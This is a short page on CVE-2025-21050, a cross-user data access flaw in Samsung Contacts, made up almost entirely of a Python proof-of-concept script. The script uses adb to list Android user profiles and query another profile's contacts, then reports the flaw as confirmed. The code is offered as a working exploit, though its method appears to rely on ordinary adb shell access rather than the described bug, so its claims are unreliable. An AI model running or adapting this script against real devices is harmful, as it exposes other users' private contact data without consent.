CVE-2025-21050：三星Contacts应用不当输入验证导致跨用户数据访问漏洞

# CVE-2025-21050 PoC - Samsung Contacts Cross-User Profile Data Access # This PoC demonstrates the concept of exploiting improper input validation # in Samsung Contacts to access data across multiple user profiles. # Note: This requires a local user account on the target Android device. import subprocess import json def exploit_contacts_cross_user_access(target_user_id): """ Exploit improper input validation in Samsung Contacts app to access contacts from another user profile. Args: target_user_id: The user ID of the target user profile (e.g., 10, 11) """ # Step 1: List available user profiles on the device list_users_cmd = "adb shell pm list users" result = subprocess.run(list_users_cmd, shell=True, capture_output=True, text=True) print(f"[*] Available user profiles:\n{result.stdout}") # Step 2: Attempt to query contacts from target user profile # The vulnerability exists because the Contacts app doesn't properly # validate the user context when processing certain queries query_cmd = f"adb shell content query --uri content://com.android.contacts/contacts --user {target_user_id}" result = subprocess.run(query_cmd, shell=True, capture_output=True, text=True) if result.returncode == 0 and result.stdout: print(f"[+] Successfully accessed contacts from user {target_user_id}:") contacts = result.stdout.strip().split('\n') for contact in contacts: print(f" - {contact}") return True else: print(f"[-] Failed to access contacts from user {target_user_id}") return False def main(): print("=" * 60) print("CVE-2025-21050 - Samsung Contacts Cross-User Data Access") print("Affects: Contacts prior to SMR Oct-2025 Release 1") print("=" * 60) # Attempt to access contacts from user profile 10 (secondary user) if exploit_contacts_cross_user_access(10): print("\n[!] Vulnerability confirmed - cross-user data access successful") else: print("\n[*] Device may be patched or exploitation failed") if __name__ == "__main__": main()